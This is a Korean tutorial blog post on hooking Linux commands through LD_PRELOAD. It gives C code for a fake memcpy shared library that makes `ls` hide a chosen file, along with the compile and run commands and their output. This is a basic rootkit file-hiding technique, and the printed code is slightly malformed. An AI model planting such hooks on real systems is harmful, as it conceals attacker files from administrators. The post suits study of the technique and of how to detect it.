Back

Linux System hooking using LD_PRELOAD(공유라이브러리를 이용한 리눅스 시스템 명령 후킹)

공유 라이브러리의 경로를 의미하는 LD_PRELOAD를 이용하여 Linux System 후킹에 대한 이야기입니다. 크게 시나리오를 보자면 LD_PRELOAD에 공격자가 .so 파일을 삽입하고 시스템 명령이 해당 so 파일을 로드하여 명령 내에서 사용되는 함수를 바꿔치기 하여 데이터를 숨기는 과정입니다.

LD_PRELOAD에 경로 설정 시 dynamic linker 가 해당 경로의 so 파일을 공유 라이브러리로 무조건 선적재하기 때문에 시스템에서 사용되는 명령의 함수를 바꿔치기 할 수 있습니다.

1. runtime library call 확인을 위한 ltrace 설치 및 사용

일단 시스템 명령의 runtime lib의 call 을 확인하기 위해 ltrace 라는 툴을 사용하여 확인한다. ltrace 는 apt 패키지 매니저를 이용하여 쉽게 설치가 가능하다.(debian, ubuntu 기준)

apt-get install ltrace # ltrace 설치 / Tracks runtime library calls in dynamically linked programs

ltrace

Usage: ltrace [option …] [command [arg …]] Trace library calls of a given program.

-a, –align=COLUMN align return values in a secific column. -A ARRAYLEN maximum number of array elements to print. -c count time and calls, and report a summary on exit. -C, –demangle decode low-level symbol names into user-level names. -D, –debug=LEVEL enable debugging (see -Dh or –debug=help). -Dh, –debug=help show help on debugging. -e expr modify which events to trace. -f trace children (fork() and clone()). -F, –config=FILE load alternate configuration file (may be repeated). -h, –help display this help and exit. -i print instruction pointer at time of library call. -l, –library=FILE print library calls from this library only. -L do NOT display library calls. -n, –indent=NR indent output by NR spaces for each call level nesting. -o, –output=FILE write the trace output to that file. -p PID attach to the process with the process ID pid. -r print relative timestamps. -s STRLEN specify the maximum string size to print. -S display system calls. -t, -tt, -ttt print absolute timestamps. -T show the time spent inside each call. -u USERNAME run command with the userid, groupid of username. -V, –version output version information and exit. -x NAME treat the global NAME like a library subroutine.

ls 명령 사용 시 발생하는 lib call 을 확인하면 아래와 같다.

ltrace ls

….. opendir(".") = 0x011f1c30 readdir(0x011f1c30) = 0x011f1c60 readdir(0x011f1c30) = 0x011f1c78 strlen(“codeblack”) = 9 malloc(10) = 0x011f9c70 memcpy(0x011f9c70, “codeblack”, 10)
….

해당 내용을 보면 각 파일별로 malloc 을 통해 메모리를 할당하고 memcpy 를 통해 각 파일명을 copy 함을 알 수 있다. 이제 이 memcpy 함수를 변조하여 숨겨야할 파일(codeblack)을 숨겨보도록 하겠다.

2. 가짜 memcpy 함수를 구현(ls 명령에 사용되는 memcpy 구현)

아래와 같이 memcpy 함수를 구현한다. man 명령을 통해 memcpy 확인 시 인자값에 쉽게 확인 가능하다. NAME memcpy - copy memory area

SYNOPSIS #include <string.h>

   void *memcpy(void *dest, const void *src, size_t n);

동일한 형태로 함수 구성 후 기능 또한 동일하게 구현한다. (hahwul.c 참조)

– hahwul.c (fake memcpy)

#include <stdio.h>

void memcpy(void dest, const void src, size_t count) { char dst8 = (char)dest; char src8 = (char*)src;

    while (count--) {
        *dst8++ = *src8++;
    }

printf(“H4ck : memcpy[%x][%s]\r\n”,dest,src); return dest; }


gcc -shared -fPIC -o hahwul.so hahwul.c

hahwul.so

gcc options

  • fPIC : PIC(Position-Independent Code) 이며 .o 파일을 동적라이브러리(Dynamic LIB)로 해당 옵션을 통해 Object 파일을 .so 파일로 묶는다
  • shread : 공유 라이브러리와 링크 / 공유 라이브러리가 없는 경우 정적 라이브러리와 링크

동적 라이브러리, 공유 라이브러리 옵션을 포함하여 gcc 를 이용해 컴파일 후 LD_PRELOAD 에 .so 파일을 넣고 ls 실행 결과 printf 를 사용하여 찍어낸 내용이 나타난다. (ls 내 memcpy 함수가 우리가 만든 함수로 동작)

LD_PRELOAD=./hahwul.so ls

H4ck : memcpy[1727050][] H4ck : memcpy[1727090][] H4ck : memcpy[172bc10][.] H4ck : memcpy[1733c70][hahwul.so] H4ck : memcpy[1733c90][codeblack] H4ck : memcpy[1733cb0][data1] H4ck : memcpy[1733cd0][hahwul.c] H4ck : memcpy[1733cf0][data2] H4ck : memcpy[172bc60][�pr ] H4ck : memcpy[172bc50][�pr ] codeblack data1 data2 hahwul.c hahwul.so

3. ls 명령 시 codeblack 파일이 노출되지 않도록 memcpy 함수 수정

여기서 ls 명령 시 codeblack 파일을 안보이게 처리하기 위해서는 .so 파일의 코드에 codeblack 이란 문자열을 비교하여 memcpy 를 하지 않으면 된다.

codeblack 비교 구문 추가 if(strcmp(src,“codeblack”)==0) { return dest; }


– hahwul.c (fake memcpy)

#include <stdio.h>

void* memcpy(void* dest, const void* src, size_t count) { char* dst8 = (char*)dest; char* src8 = (char*)src; if(strcmp(src,“codeblack”)==0) { return dest; }

    while (count--) {
        *dst8++ = *src8++;
    }

printf(“H4ck : memcpy[%x][%s]\r\n”,dest,src); return dest; }


컴파일 후 LD_PRELOADdp .so 파일을 넣어 확인 시 codeblack 파일은 노출되지 않는다.

gcc -shared -fPIC -o hahwul.so hahwul.c #so 파일 생성

LD_PRELOAD=./hahwul.so ls #LD_PRELOAD에 .so 파일 포함 후 ls 실행

H4ck : memcpy[13e6050][] H4ck : memcpy[13e6090][] H4ck : memcpy[13eac10][.] H4ck : memcpy[13f2c70][hahwul.so] H4ck : memcpy[13f2cb0][data1] H4ck : memcpy[13f2cd0][hahwul.c] H4ck : memcpy[13f2cf0][data2] H4ck : memcpy[13eac60][�> ] H4ck : memcpy[13eac50][�> ] data1 data2 hahwul.c hahwul.so

위와 같이 간단하게 memcpy 함수를 조작하여 ls 명령으로 데이터 확인 시 숨길 수 있다.

reference site

http://hyunmini.tistory.com/55 http://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick

Licensed under CC BY-NC-SA 4.0
Last updated on Jul 10, 2021 01:05 +0900